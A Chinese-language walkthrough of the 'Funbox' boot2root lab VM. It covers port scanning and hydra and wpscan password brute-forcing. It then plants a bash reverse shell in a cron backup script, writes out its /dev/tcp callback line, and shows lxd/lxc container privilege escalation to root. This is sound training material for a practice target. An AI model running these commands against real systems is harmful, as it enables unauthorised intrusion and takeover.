Boot2Root ! This is a reallife szenario, but easy going. You have to enumerate and understand the szenario to get the root-flag in round about 20min.
This VM is created/tested with Virtualbox. Maybe it works with vmware.
If you need hints, call me on twitter: @0815R2d2
Have fun…
This works better with VirtualBox rather than VMware

环境搭建

导入到VirtualBox到中,切换仅主机模式,Vmware的kaili主机桥接到virtualbox网卡。
使用arp-acan -l发现主机,排除1和29,剩下一个11就是靶机IP了,也可以通过MAC地址确定。

信息收集

命令:nmap -A -T4 -p- -v 192.168.1.11
靶机开放端口:21,22,80,33060
IP绑定域名:funbox.fritz.box
Web程序:WordPress 5.4.2
HTTP服务器:: Apache/2.4.41 (Ubuntu)

funbox.fritz.box加入到本地本地hosts后使用浏览器打开web服务,看到了WordPress熟悉的界面,看到了纯英文提示,只能百度翻译了。提示暴力破解,root有两个,mysql和ssh。

漏洞查找

尝试ssh爆破:hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.11 ssh

尝试mysql爆破:hydra -s 33060 -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.11 mysql


MySQL爆破提示版本不符合,我也不知道为什么,知道的评论告诉我。

暂时放弃爆破,转为80端口尝试(惯用套路),使用wpscan扫描wordpress。

命令:wpscan –url http://funbox.fritz.box/ -e u,p
找到admin,joe用户,手动写一个用户字典进行密码爆破

命令:wpscan –url http://funbox.fritz.box/ -U username.txt -P /usr/share/wordlists/rockyou.txt -t 100
成功爆破admin和joe密码,直接使用admin登录后写404shell。

补充:wpscan需要更新,但更新失败;先安装依赖,然后wpscan –update
apt-get install gcc git ruby ruby-dev libcurl4-openssl-dev make zlib1g-dev

WebShell

我们保存编辑的时候发现:无法与站点通信以检查致命错误,因此PHP更改已恢复。您需要通过其他方式上传PHP文件更改,例如使用SFTP。

看来是禁止编辑了,试试其他方法,webshell失败告终!

FTP和SSH

开放了21和22端口,继续尝试登录FTP和SSH,使用admin和joe登录。
admin登录失败,joe成功登录SSH,目录有个mbox文件,是邮件。
后来使用cd ..切换失败:-rbash:cd:受限

1
2
嗨,乔,请告诉搞笑,备份脚本完成了。
乔,WTF!?!?!?!?!?!立即更改密码!12345建议解雇你。

继续使用joe登录FTP,使用FTP登录成功切换到funny用户目录,下载网站备份。

但我看了一下我就傻眼了,wordpress的登录账号都拿到了,看备份源码有什么用?

然后直接使用FTP把shell脚本上传到网站根目录,但访问显示:WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)

备份脚本

邮件中说备份脚本完成了,应该有个备份脚本在某处,原来是隐藏文件。

备份脚本应该是会自动执行,我们get下载写上反弹bash后put回去;本地监听5555端口,等待shell反弹。
bash -i >& /dev/tcp/192.168.1.15/5555 0>&1

成功反弹funny的shell到kali,执行:find / -name user.txt 2>/dev/null;没有任何返回,应该没有用户flag。

SSH连接

使用ssh密钥的方式登录funny,用ssh-keygen生成密钥:ssh-keygen -t rsa
id_rsa:私钥
id_rsa.pub:公钥
进入.ssh目录把公钥复制回kali的.ssh目录并保存为id_rsa;并在靶机执行:mv id_rsa.pub authorized_keys
最后在密钥文件目录下执行:ssh [email protected] -i ~/.ssh/id_rsa

成功实现免密登录SSH
ssh-keygen参考文章:https://www.cnblogs.com/shoufeng/p/11022258.html

lxd和lxc提权

通过git将构建好的alpine镜像克隆至本地;
git clone https://github.com/saghul/lxd-alpine-builder.git
执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;
./build-alpine #过程比较慢
执行完上述操作将在本地文件生成一个tar文件,将tar文件放至靶机的/tmp目录中
python -m SimpleHTTPServerpython3 -m http.server 8000

在靶机使用wget http://192.168.1.15:8000/alpine-v3.12-x86_64-20200813_0835.tar.gz下载到本地
镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了:
lxc image import ./alpine-v3.12-x86_64-20200813_0835.tar.gz --alias myimage
使用lxc image list可以查看所有镜像列表。
执行lxc init myimage ignite -c security.privileged=true报错如下是因为lxd没有初始化

执行lcd init进行初始化,存储名称改成dir,其他全部默认即可

初始化完成后依次执行以下命令:

1
2
3
4
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

主机根目录挂载到容器/mnt目录,切换到root目录查看flag.txt

lxd提权参考:https://www.freebuf.com/articles/network/216803.html

exploit-db提权

使用exploit-db的提权脚本更快捷,也很方便;不要记住太多命令,直接把tar包下载打本地执行
./exploit -f alpine-v3.12-x86_64-20200813_0835.tar.gz